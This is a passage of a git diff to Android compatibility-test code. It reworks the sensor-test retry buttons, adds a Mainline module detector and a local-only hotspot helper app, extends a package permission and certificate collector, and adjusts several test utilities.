-    protected int mRetryCount = 0;
+    private boolean mShouldRetry = false;
+    private int mRetryCount = 0;
 
     /**
      * Constructor to be used by subclasses.
@@ -142,9 +138,8 @@
         mFailButton = (Button) findViewById(R.id.fail_button);
         mGLSurfaceView = (GLSurfaceView) findViewById(R.id.gl_surface_view);
         mRetryButton = (Button) findViewById(R.id.retry_button);
-        mRetryButton.setOnClickListener(this);
+        mRetryButton.setOnClickListener(new retryButtonListener());
 
-        mRetryButton.setVisibility(View.GONE);
         updateNextButton(false /*enabled*/);
         mExecutorService.execute(this);
     }
@@ -173,14 +168,7 @@
 
     @Override
     public void onClick(View target) {
-        switch (target.getId()) {
-            case R.id.next_button:
-                mShouldRetry = false;
-                break;
-            case R.id.retry_button:
-                mShouldRetry = true;
-                break;
-        }
+        mShouldRetry = false;
 
         synchronized (mWaitForUserLatches) {
             for (CountDownLatch latch : mWaitForUserLatches) {
@@ -190,6 +178,22 @@
         }
     }
 
+    private class retryButtonListener implements View.OnClickListener {
+
+        @Override
+        public void onClick(View v) {
+            mShouldRetry = true;
+            ++mRetryCount;
+
+            synchronized (mWaitForUserLatches) {
+                for (CountDownLatch latch : mWaitForUserLatches) {
+                    latch.countDown();
+                }
+                mWaitForUserLatches.clear();
+            }
+        }
+    }
+
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         mActivityResultMultiplexedLatch.onActivityResult(requestCode, resultCode);
@@ -273,6 +277,13 @@
      */
     protected abstract SensorTestDetails executeTests() throws InterruptedException;
 
+    /**
+     * Get mShouldRetry to check if test is required to retry.
+     */
+    protected boolean getShouldRetry() {
+        return mShouldRetry;
+    }
+
     @Override
     public SensorTestLogger getTestLogger() {
         return mTestLogger;
@@ -312,8 +323,12 @@
         }
 
         mTestLogger.logInstructions(waitMessageResId);
+        setNextButtonText(waitMessageResId);
+
+        updateRetryButton(true);
         updateNextButton(true);
         latch.await();
+        updateRetryButton(false);
         updateNextButton(false);
     }
 
@@ -326,14 +341,18 @@
 
     /**
      * Waits for the operator to acknowledge to retry execution.
-     * If the execution is for the last subtest, will notify user by Finish button.
      */
     protected void waitForUserToRetry() throws InterruptedException {
-        if (mIsLastSubtest) {
-            waitForUser(R.string.snsr_wait_to_finish);
-        } else {
-            waitForUser(R.string.snsr_wait_to_retry);
-        }
+        mShouldRetry = true;
+        waitForUser(R.string.snsr_wait_to_retry);
+    }
+
+    /**
+     * Waits for the operator to acknowledge to finish execution.
+     */
+    protected void waitForUserToFinish() throws InterruptedException {
+        mShouldRetry = true;
+        waitForUser(R.string.snsr_wait_to_finish);
     }
 
     /**
@@ -559,27 +578,31 @@
         runOnUiThread(new Runnable() {
             @Override
             public void run() {
-                mNextButton.setText(getNextButtonText());
-                updateRetryButton(enabled);
                 mNextButton.setEnabled(enabled);
             }
         });
     }
 
     /**
-     * Get the text for next button.
+     * Set the text for next button by instruction message.
      * During retry, next button text is changed to notify users.
+     *
+     * @param waitMessageResId The action requested to the operator.
      */
-    private int getNextButtonText() {
-        int nextButtonText = R.string.next_button_text;
-        if (mShouldRetry) {
-            if (mIsLastSubtest){
-                nextButtonText = R.string.finish_button_text;
-            } else {
+    private void setNextButtonText(int waitMessageResId) {
+        int nextButtonText;
+        switch (waitMessageResId) {
+            case R.string.snsr_wait_to_retry:
                 nextButtonText = R.string.fail_and_next_button_text;
-            }
+                break;
+            case R.string.snsr_wait_to_finish:
+                nextButtonText = R.string.finish_button_text;
+                break;
+            default:
+                nextButtonText = R.string.next_button_text;
+                break;
         }
-        return nextButtonText;
+        mNextButton.setText(nextButtonText);
     }
 
     /**
@@ -588,16 +611,22 @@
      *
      * @param enabled The status of button.
      */
-    private void updateRetryButton(boolean enabled) {
-        String showRetryCount = String.format(
-            "%s (%d)", getResources().getText(R.string.retry_button_text), mRetryCount);
-        if (mShouldRetry) {
-            mRetryButton.setText(showRetryCount);
-            mRetryButton.setVisibility(View.VISIBLE);
-            mRetryButton.setEnabled(enabled);
-        } else {
-            mRetryButton.setVisibility(View.GONE);
-        }
+    private void updateRetryButton(final boolean enabled) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                if (mShouldRetry) {
+                    String showRetryCount = String.format(
+                        "%s (%d)", getResources().getText(R.string.retry_button_text), mRetryCount);
+                    mRetryButton.setText(showRetryCount);
+                    mRetryButton.setVisibility(View.VISIBLE);
+                    mRetryButton.setEnabled(enabled);
+                } else {
+                    mRetryButton.setVisibility(View.GONE);
+                    mRetryCount = 0;
+                }
+            }
+        });
     }
 
     private void enableTestResultButton(
@@ -665,6 +694,7 @@
                     logTestSkip(name, summary);
                     break;
                 case PASS:
+                    mShouldRetry = false;
                     logTestPass(name, summary);
                     break;
                 case FAIL:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
index 4401536..b65b595c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
@@ -40,6 +40,7 @@
     private volatile int mTestSkippedCounter;
     private volatile int mTestFailedCounter;
     private volatile ISensorTestNode mCurrentTestNode;
+    private volatile boolean mEnableRetry = false;
 
     /**
      * {@inheritDoc}
@@ -50,6 +51,20 @@
     }
 
     /**
+     * {@inheritDoc}
+     * Constructor to be used by subclasses.
+     *
+     * @param testClass   The class that contains the tests. It is dependant on test executor
+     *                    implemented by subclasses.
+     * @param enableRetry Subclass can enable retry mechanism for subtests.
+     */
+    protected SensorCtsVerifierTestActivity(
+        Class<? extends SensorCtsVerifierTestActivity> testClass, boolean enableRetry) {
+        super(testClass);
+        mEnableRetry = enableRetry;
+    }
+
+    /**
      * Executes Semi-automated Sensor tests.
      * Execution is driven by this class, and allows discovery of tests using reflection.
      */
@@ -59,22 +74,24 @@
         Iterator<Method> testMethodIt = findTestMethods().iterator();
         while (testMethodIt.hasNext()) {
             Method testMethod = testMethodIt.next();
-            mIsLastSubtest = !testMethodIt.hasNext();
-            mRetryCount = 0;
+            boolean isLastSubtest = !testMethodIt.hasNext();
             getTestLogger().logTestStart(testMethod.getName());
             SensorTestDetails testDetails = executeTest(testMethod);
             getTestLogger().logTestDetails(testDetails);
+
             // If tests enable retry and get failed result, trigger the retry process.
             while (mEnableRetry && testDetails.getResultCode().equals(ResultCode.FAIL)) {
-                mShouldRetry = true;
-                waitForUserToRetry();
-                if (!mShouldRetry) {
+                if (isLastSubtest) {
+                    waitForUserToFinish();
+                } else {
+                    waitForUserToRetry();
+                }
+                if (!getShouldRetry()) {
                     break;
                 }
                 mTestFailedCounter--;
                 testDetails = executeTest(testMethod);
                 getTestLogger().logTestDetails(testDetails);
-                mRetryCount++;
             }
         }
         return new SensorTestDetails(
@@ -151,4 +168,19 @@
             return mTestClass.getSimpleName() + "_" + mTestMethod.getName();
         }
     }
+
+    /**
+     * Show the instruction for the first time execution and wait for user to begin the test.
+     *
+     * @param descriptionResId The description for the first time execution.
+     */
+    protected void setFirstExecutionInstruction(int ... descriptionResId) throws Throwable {
+        if (!getShouldRetry()) {
+            SensorTestLogger logger = getTestLogger();
+            for (int id : descriptionResId) {
+                logger.logInstructions(id);
+            }
+            waitForUserToBegin();
+        }
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/apps/MainlineModuleDetector/Android.mk
similarity index 66%
rename from hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
rename to apps/MainlineModuleDetector/Android.mk
index 226c360..5b8e316 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -14,21 +14,21 @@
 # limitations under the License.
 #
 
-LOCAL_PATH := $(call my-dir)
-
+LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+LOCAL_PACKAGE_NAME := MainlineModuleDetector
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_SDK_VERSION := current
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
+LOCAL_COMPATIBILITY_SUITE := cts sts
 
-include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
new file mode 100644
index 0000000..4cc8f8c
--- /dev/null
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.mainlinemoduledetector"
+          android:versionCode="1"
+          android:versionName="1.0">
+
+    <application>
+        <activity android:name=".MainlineModuleDetector">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
new file mode 100644
index 0000000..8f076a8
--- /dev/null
+++ b/apps/MainlineModuleDetector/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 195645
+manjaepark@google.com
+mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
new file mode 100644
index 0000000..01c02c7
--- /dev/null
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mainlinemoduledetector;
+
+import android.app.Activity;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
+import java.util.HashSet;
+import java.util.Set;
+
+public class MainlineModuleDetector extends Activity {
+
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            PackageManager pm = getApplicationContext().getPackageManager();
+            Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
+            Set<String> moduleNames = new HashSet<>();
+            for (MainlineModule module : modules) {
+                moduleNames.add(module.packageName);
+            }
+            Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
+        } catch (Exception e) {
+            Log.e(LOG_TAG, "Failed to retrieve modules.", e);
+        }
+        this.finish();
+    }
+}
diff --git a/apps/hotspot/Android.mk b/apps/hotspot/Android.mk
new file mode 100644
index 0000000..ae93979
--- /dev/null
+++ b/apps/hotspot/Android.mk
@@ -0,0 +1,18 @@
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := hotspot
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
new file mode 100644
index 0000000..277be5f
--- /dev/null
+++ b/apps/hotspot/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.hotspot">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <application>
+        <activity android:name=".MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".Notify" android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.hotspot.TEST_ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+</manifest>
diff --git a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
new file mode 100644
index 0000000..2e0ed87
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
@@ -0,0 +1,20 @@
+package com.android.cts.hotspot;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.support.v4.app.ActivityCompat;
+
+public class MainActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION)
+                != PackageManager.PERMISSION_GRANTED) {
+            ActivityCompat.requestPermissions(
+                    this, new String[] {Manifest.permission.ACCESS_COARSE_LOCATION}, 2);
+        }
+    }
+}
diff --git a/apps/hotspot/src/com/android/cts/hotspot/Notify.java b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
new file mode 100644
index 0000000..a56a390
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
@@ -0,0 +1,57 @@
+package com.android.cts.hotspot;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.wifi.WifiManager;
+import android.os.Handler;
+
+public class Notify extends BroadcastReceiver {
+
+    private static final String EXTRA_HOTSPOT_KEY = "HOTSPOT";
+    private static WifiManager.LocalOnlyHotspotReservation mReservation;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if ("com.android.cts.hotspot.TEST_ACTION".equals(intent.getAction())) {
+            if (intent.hasExtra(EXTRA_HOTSPOT_KEY)) {
+                if ("turnOn".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+                    turnOnHotspot(context);
+                } else if ("turnOff".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+                    turnOffHotspot();
+                }
+            }
+        }
+    }
+
+    private void turnOnHotspot(Context x) {
+        WifiManager manager = (WifiManager) x.getSystemService(Context.WIFI_SERVICE);
+
+        manager.startLocalOnlyHotspot(
+                new WifiManager.LocalOnlyHotspotCallback() {
+
+                    @Override
+                    public void onStarted(WifiManager.LocalOnlyHotspotReservation reservation) {
+                        mReservation = reservation;
+                        super.onStarted(reservation);
+                    }
+
+                    @Override
+                    public void onStopped() {
+                        super.onStopped();
+                    }
+
+                    @Override
+                    public void onFailed(int reason) {
+                        super.onFailed(reason);
+                    }
+                },
+                new Handler());
+    }
+
+    private void turnOffHotspot() {
+        if (mReservation != null) {
+            mReservation.close();
+        }
+    }
+}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 16f7610..65b8d75 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,12 +15,18 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.os.Bundle;
-
-import com.android.compatibility.common.deviceinfo.DeviceInfo;
+import android.content.pm.PermissionInfo;
+import android.os.Build;
+import android.os.Process;
 import com.android.compatibility.common.util.DeviceInfoStore;
+import com.android.compatibility.common.util.PackageUtil;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
 
 /**
  * PackageDeviceInfo collector.
@@ -35,24 +41,120 @@
     private static final String MIN_SDK = "min_sdk";
     private static final String TARGET_SDK = "target_sdk";
 
+    private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+    private static final String PERMISSION_NAME = "name";
+    private static final String PERMISSION_FLAGS = "flags";
+    private static final String PERMISSION_GROUP = "permission_group";
+    private static final String PERMISSION_PROTECTION = "protection_level";
+    private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+
+    private static final String HAS_SYSTEM_UID = "has_system_uid";
+
+    private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
+    private static final String INSTALL_PACKAGES_PERMISSION = "android.permission.INSTALL_PACKAGES";
+
+    private static final String SHA256_CERT = "sha256_cert";
+
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
-        PackageManager pm = getContext().getPackageManager();
+        final PackageManager pm = getContext().getPackageManager();
+
+        final List<PackageInfo> allPackages =
+                pm.getInstalledPackages(PackageManager.GET_PERMISSIONS);
+
         store.startArray(PACKAGE);
-        for (PackageInfo pkg : pm.getInstalledPackages(0)) {
+        for (PackageInfo pkg : allPackages) {
             store.startGroup();
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            if (pkg.applicationInfo != null) {
-                String dir = pkg.applicationInfo.sourceDir;
+            store.startArray(REQUESTED_PERMISSIONS);
+            if (pkg.requestedPermissions != null && pkg.requestedPermissions.length > 0) {
+                for (String permission : pkg.requestedPermissions) {
+                    try {
+                        final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
+
+                        store.startGroup();
+                        store.addResult(PERMISSION_NAME, permission);
+                        writePermissionsDetails(pi, store);
+                        store.endGroup();
+                    } catch (PackageManager.NameNotFoundException e) {
+                        // ignore unrecognized permission and continue
+                    }
+                }
+            }
+            store.endArray();
+
+            final ApplicationInfo appInfo = pkg.applicationInfo;
+            if (appInfo != null) {
+                String dir = appInfo.sourceDir;
                 store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
 
-                store.addResult(MIN_SDK, pkg.applicationInfo.minSdkVersion);
-                store.addResult(TARGET_SDK, pkg.applicationInfo.targetSdkVersion);
+                store.addResult(MIN_SDK, appInfo.minSdkVersion);
+                store.addResult(TARGET_SDK, appInfo.targetSdkVersion);
+
+                store.addResult(HAS_SYSTEM_UID, appInfo.uid < Process.FIRST_APPLICATION_UID);
+
+                final boolean canInstall = sharesUidWithInstallerPackage(pm, appInfo.uid);
+                store.addResult(SHARES_INSTALL_PERMISSION, canInstall);
             }
+            String sha256_cert = PackageUtil.computePackageSignatureDigest(pkg.packageName);
+            store.addResult(SHA256_CERT, sha256_cert);
             store.endGroup();
         }
-        store.endArray(); // Package
+        store.endArray(); // "package"
+    }
+
+    private static boolean sharesUidWithInstallerPackage(PackageManager pm, int uid) {
+        final String[] sharesUidWith = pm.getPackagesForUid(uid);
+
+        if (sharesUidWith == null) {
+            return false;
+        }
+
+        // Approx 20 permissions per package for rough estimate of sizing
+        final int capacity = sharesUidWith.length * 20;
+        final List<String> sharedPermissions = new ArrayList<>(capacity);
+        for (String pkg :sharesUidWith){
+            try {
+                final PackageInfo info = pm.getPackageInfo(pkg, PackageManager.GET_PERMISSIONS);
+
+                if (info.requestedPermissions == null) {
+                    continue;
+                }
+
+                for (String p : info.requestedPermissions) {
+                    if (p != null) {
+                        sharedPermissions.add(p);
+                    }
+                }
+            } catch (PackageManager.NameNotFoundException e) {
+                // ignore, continue
+            }
+        }
+
+        return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
+    }
+
+    private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
+            throws IOException {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
+            store.addResult(PERMISSION_FLAGS, pi.flags);
+        } else {
+            store.addResult(PERMISSION_FLAGS, 0);
+        }
+
+        store.addResult(PERMISSION_GROUP, pi.group);
+
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+            store.addResult(PERMISSION_PROTECTION, pi.getProtection());
+            store.addResult(PERMISSION_PROTECTION_FLAGS, pi.getProtectionFlags());
+        } else {
+            store.addResult(PERMISSION_PROTECTION,
+                    pi.protectionLevel & PermissionInfo.PROTECTION_MASK_BASE);
+            store.addResult(PERMISSION_PROTECTION_FLAGS,
+                    pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
+        }
     }
 }
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
index 301a626..a5791a2f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -43,7 +43,7 @@
 public class BlockingBroadcastReceiver extends BroadcastReceiver {
     private static final String TAG = "BlockingBroadcast";
 
-    private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+    private static final int DEFAULT_TIMEOUT_SECONDS = 60;
 
     private final BlockingQueue<Intent> mBlockingQueue;
     private final String mExpectedAction;
@@ -68,15 +68,10 @@
 
     /**
      * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
-     * if no broadcast with expected action is received within 10 seconds.
+     * if no broadcast with expected action is received within 60 seconds.
      */
     public @Nullable Intent awaitForBroadcast() {
-        try {
-            return mBlockingQueue.poll(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "waitForBroadcast get interrupted: ", e);
-        }
-        return null;
+        return awaitForBroadcast(DEFAULT_TIMEOUT_SECONDS * 1000);
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
index 7500050..6359565 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
@@ -18,11 +18,15 @@
 
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
+import android.database.ContentObserver;
+import android.net.Uri;
 import android.os.Bundle;
+import android.os.Handler;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 
@@ -122,4 +126,36 @@
             }
         }
     }
+
+    protected CountDownLatch registerForChanges(Uri uri) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ContentResolver resolver = mActivity.getContentResolver();
+        mActivity.runOnUiThread(() -> {
+            resolver.registerContentObserver(uri, true,
+                    new ContentObserver(new Handler()) {
+                        @Override
+                        public void onChange(boolean selfChange) {
+                            latch.countDown();
+                            resolver.unregisterContentObserver(this);
+                        }
+                    });
+        });
+        return latch;
+    }
+
+    protected boolean startTestAndWaitForChange(BroadcastUtils.TestcaseType testCaseType, Uri uri,
+            String pkg, String cls)
+            throws Exception {
+        Log.i(TAG, "Begin Testing: " + testCaseType);
+        registerBroadcastReceiver(testCaseType);
+        CountDownLatch latch = registerForChanges(uri);
+        mActivity.startTest(testCaseType.toString(), pkg, cls);
+        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)
+                || !latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            fail("Failed to change in " + TIMEOUT_MS + "msec");
+            return false;
+        }
+        return true;
+    }
+
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 7d7aaf0..37c33ae 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -66,7 +66,7 @@
      */
     @Override
     protected String formatExecutionString(String method, String... args) {
-        return String.format("%s(%s)", method, TextUtils.join(", ", args));
+        return String.format("%s(%s)", method, TextUtils.join(", ", formatArgs(args)));
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 6516bcc..02aaad8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -74,6 +74,13 @@
             Log.i(TAG, "Finding business logic for test case: " + testName);
             BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
             mBusinessLogic.applyLogicFor(testName, executor);
+        } else {
+            /* There are cases in which this is an acceptable outcome, and we do not want to fail.
+             * For instance, some business logic rule lists are only sent from the server
+             * for certain devices (see go/aes-gts).  Devices exempt from those rules will
+             * receive no BL config for some tests, and this should result in a pass.
+             */
+            Log.d(TAG, "No business logic found for test: " + testName);
         }
     }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
index c680fc3..d170263 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -25,8 +25,6 @@
 import java.io.IOException;
 import java.util.List;
 
-import androidx.test.InstrumentationRegistry;
-
 /**
  * Handles adding results to the report for device side tests.
  *
@@ -42,10 +40,8 @@
     private ReportLogDeviceInfoStore store;
 
     public DeviceReportLog(String reportLogName, String streamName) {
-        this(reportLogName, streamName, new File(InstrumentationRegistry
-                .getInstrumentation().getTargetContext()
-                .getExternalFilesDir(null).getPath(),
-                "report-log-files"));
+        this(reportLogName, streamName,
+                new File(Environment.getExternalStorageDirectory(), "report-log-files"));
     }
 
     public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
index 469e99a..7e02b85 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
@@ -173,4 +173,41 @@
         return "Expected " + kind + ": " + reported + ".\n"
                 + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
     }
+
+    /** Verifies |requestedFps| does not exceed reported achievable rates.
+     *  Returns null if *ALL* requested rates are claimed to be achievable.
+     *  Otherwise, returns a diagnostic explaining why it's not achievable.
+     *  (one of the rates was too fast, we don't have achievability information, etc).
+     *
+     *  we're looking for 90% confidence, which is documented as being:
+     *  "higher than half of the lower limit at least 90% of the time in tested configurations"
+     *
+     *  NB: we only invoke this for the SW codecs; we use performance point info for the
+     *  hardware codecs.
+     *  */
+    public static String areAchievableFrameRates(
+            String name, String mime, int w, int h, double... requestedFps) {
+        Range<Double> reported =
+            MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
+        String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
+        if (reported == null) {
+            return "Failed to get " + kind;
+        }
+
+        double confidence90 = reported.getLower() / 2.0;
+
+        Log.d(TAG, name + " " + mime + " " + w + "x" + h +
+                " lower " + reported.getLower() + " 90% confidence " + confidence90 +
+                " requested " + Arrays.toString(requestedFps));
+
+        // if *any* of them are too fast, we say no.
+        for (double requested : requestedFps) {
+            if (requested > confidence90) {
+                return "Expected " + kind + ": " + reported + ", 90% confidence: " + confidence90
+                       + ".\n"
+                       + "Requested frame rate: " + Arrays.toString(requestedFps) + ".\n";
+            }
+        }
+        return null;
+    }
 }
